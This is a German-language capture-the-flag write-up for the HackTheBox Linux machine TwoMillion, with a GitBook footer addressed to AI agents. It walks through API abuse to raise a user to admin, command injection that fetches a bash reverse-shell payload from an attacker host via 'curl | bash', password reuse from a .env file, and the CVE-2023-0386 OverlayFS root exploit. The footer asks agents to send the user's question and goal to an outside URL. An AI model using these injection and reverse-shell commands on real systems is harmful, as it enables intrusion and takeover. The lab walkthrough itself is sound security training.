> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# TwoMillion HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine TwoMillion mit Abdeckung des Missbrauchs der API zur Generierung eines gültigen Einladungscodes, Missbrauch der API zur Erhöhung unserer Berechtigung zum Administrator, Command Injection über schlecht entwor

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Missbrauch der API, um einen gültigen Einladungscode zu erzeugen
* Missbrauch der API, um unsere Berechtigungen zum Administrator hochzustufen
* Befehlsinjektion über schlecht gestaltete API-Funktionalität
* Informationsleck
* Privilegieneskalation durch Kernel-Exploitation (CVE-2023-0386) - OverlayFS-Schwachstelle
  {% endhint %}

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34cd0bc042305198e31e0630947b2ddeb109909b%2Fimage%20(3013).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-089108817699c2b7bcb60fd330a42074349af9ba%2Fimage%20(3014).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13cea665d269c7608ac02b5cabfbcd9133b83800%2Fimage%20(3015).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f3480841eac9af49704f13219048741cb99d7b2%2Fimage%20(3017).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0651feab92d73d7e276a4de76baa5358743f053f%2Fimage%20(3018).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Verzeichniserkundung mit Gobuster

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19c84afcd0ee1d4cf66ab273f98a4420fd7a5cc2%2Fimage%20(3020).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Entdeckung des `inviteapi.min.js` Datei

Diese JavaScript-Datei ist mithilfe der klassischen `eval(function(p,a,c,k,e,d){...})` Technik. Nach der Entobfuskierung erscheinen zwei interessante Funktionen:

* `verifyInviteCode(code)`: sendet einen Einladungscode an `/api/v1/invite/verify`
* `makeInviteCode()`: sendet eine Anfrage an `/api/v1/invite/how/to/generate`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-112c6bdeb216fcebbca52655be25d4811141f68c%2Fimage%20(3021).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzen der API – Generieren eines Einladungscodes

#### Initialer Aufruf:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

Antwort

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Daten sind verschlüsselt ... Wir sollten wahrscheinlich den Verschlüsselungstyp prüfen, um sie zu entschlüsseln..."}#

#### ROT13-Entschlüsselung → neue URL:

{% embed url="<https://rot13.com/>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f558d9e129d97665eb32de32a898d4060e3b07f6%2Fimage%20(3022).png?alt=media" alt=""><figcaption></figcaption></figure>

Um den Einladungscode zu generieren, sende eine POST-Anfrage an /api/v1/invite/generate

#### Anfrage:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c4a574ce3457de6c85bd2fc9cd813ca88dba62e%2Fimage%20(3023).png?alt=media" alt=""><figcaption></figcaption></figure>

Antwort (Base64):

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

Dekodierung:

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

Wir verwenden diesen Code, um ein Konto auf der Website zu erstellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4f146845897d80482d99bc27a724e45231f2670%2Fimage%20(3024).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-876ec3e051d8f699ccc336fcabe1ad8fced1017f%2Fimage%20(3025).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>

## Ausnutzung der HackTheBox-API

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6194da0687daa4b3a4a82730c939231a3ce587b%2Fimage%20(3026).png?alt=media" alt=""><figcaption></figcaption></figure>

#### API-Beobachtung

Beim Besuch von `/api`können wir die verfügbaren Routen sehen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443a959d8295d8b483443b8e4fbcc67a8bb5fa29%2Fimage%20(3027).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Versuch, eine VPN-Konfiguration zu generieren (anfänglicher Fehlschlag)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

Antwort: Nicht erlaubt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-159a880e6902c03f848e0458eee04e8355929590%2Fimage%20(458).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ändern unserer Rolle über die API

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f3b7ad34ca7fd589d797fb7e2b54d9d163d5f4e%2Fimage%20(459).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir testen das Ändern der Benutzereinstellungen mit der Route:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"Fehlender Parameter: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"Fehlender Parameter: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> Antwort:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9bf1e39d8b38e84ce3b20af07c73c362c793247%2Fimage%20(460).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Überprüfung unseres Admin-Status

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b261100f7104024b6a36227120b12357c8e82dfd%2Fimage%20(461).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### RCE durch Befehlsinjektion

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c051f2edfa608a43955602a3bfa7b2412557b8c8%2Fimage%20(462).png?alt=media" alt=""><figcaption></figcaption></figure>

Versuch, einen Befehl in das Feld einzuschleusen `Benutzername`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31845f9173de41ba756a102a08e4f4023902332%2Fimage%20(463).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Umkehr-Shell

1. **Dateiserver**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat lauscht**

```bash
nc -nvlp 443
```

3. **Befehl senden**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

Wir erhalten eine Reverse Shell

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be97c8f5e23d34a2a7fa0da58756df54b955d269%2Fimage%20(464).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

#### Entdeckung sensibler Dateien

Durch die Suche in den von unserer Shell aus zugänglichen Dateien entdecken wir eine versteckte `.env` Datei mit den Zugangsdaten für die Datenbank:

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f7678c0b91aa2752671ba3902968bfcdfc2327e%2Fimage%20(465).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir bemerken außerdem das Vorhandensein eines zweiten Benutzers namens `admin`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7268549e4e779a3da76c3746d4b62aefbbe299ed%2Fimage%20(466).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Passwort-Wiederverwendung

Beim Testen der gefundenen Zugangsdaten sehen wir, dass der Systembenutzer `admin` das **gleiche Passwort** wie das Datenbankpasswort verwendet.

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80516a906d4b5764d9b470b83cfb4f1647b7f56d%2Fimage%20(467).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese schlechte Praxis ermöglicht es uns, eine **SSH-Verbindung**:

#### System-E-Mail

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-576193ef8aa3db9b9449d2ffa04e2a8eb12317f7%2Fimage%20(470).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Verbinden informiert uns eine Nachricht über das Vorhandensein einer **neuen E-Mail**. Beim Lesen erhalten wir entscheidende Informationen:

> Hey admin,
>
> Ich weiß, dass du so schnell wie möglich an der DB-Migration arbeitest. Während wir teilweise außer Betrieb sind, könntest du auch das OS auf unserem Webhost aktualisieren? Dieses Jahr gab es bereits einige schwere Linux-Kernel-CVEs. Der in OverlayFS / FUSE sieht übel aus. Daran dürfen wir uns nicht die Finger verbrennen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a5f16166613f7348ebb66ab704dd06ade49da50%2Fimage%20(471).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese Nachricht bringt uns auf die Spur einer **bekannten Schwachstelle in OverlayFS**:/ **CVE-2023-0386** – einer lokalen Privilegieneskalations-Schwachstelle im Linux-Kernel.

## Ausnutzung von CVE-2023-0386 - OverlayFS-Privilegieneskalation

> OverlayFS ermöglicht es, Dateisysteme übereinanderzulegen. In einigen Versionen des Linux-Kernels ermöglicht eine mangelhafte Kapazitätsverwaltung einem nicht privilegierten Benutzer, Code mit **Root-Rechten**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Ausführungsschritte**

1. **Den Exploit klonen** von unserem lokalen Rechner aus:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Übertrage die kompilierten Dateien** auf die Zielmaschine (`scp`, `python -m http.server`, usw.).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8cca90a849306f4f0a7db9df6dcbf1e4c394f2%2Fimage%20(472).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965ce4a410b32a3dc104a4e90c1ba99e99addef4%2Fimage%20(473).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **Auf der Zielmaschine**, führe in **zwei Terminals**:

* Terminal A:

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B:

```bash
./exp
```

Wenn alles gut geht, erhalten wir eine **root** Shell-

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8413db904be40722f9ab728b8f41a4a60b80e696%2Fimage%20(474).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe8e0a72ad619012070779b5b798c837c8943863%2Fimage%20(475).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3ffc7312937ff11804821ebec1aa1f3b047f49d%2Fimage%20(468).png?alt=media" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
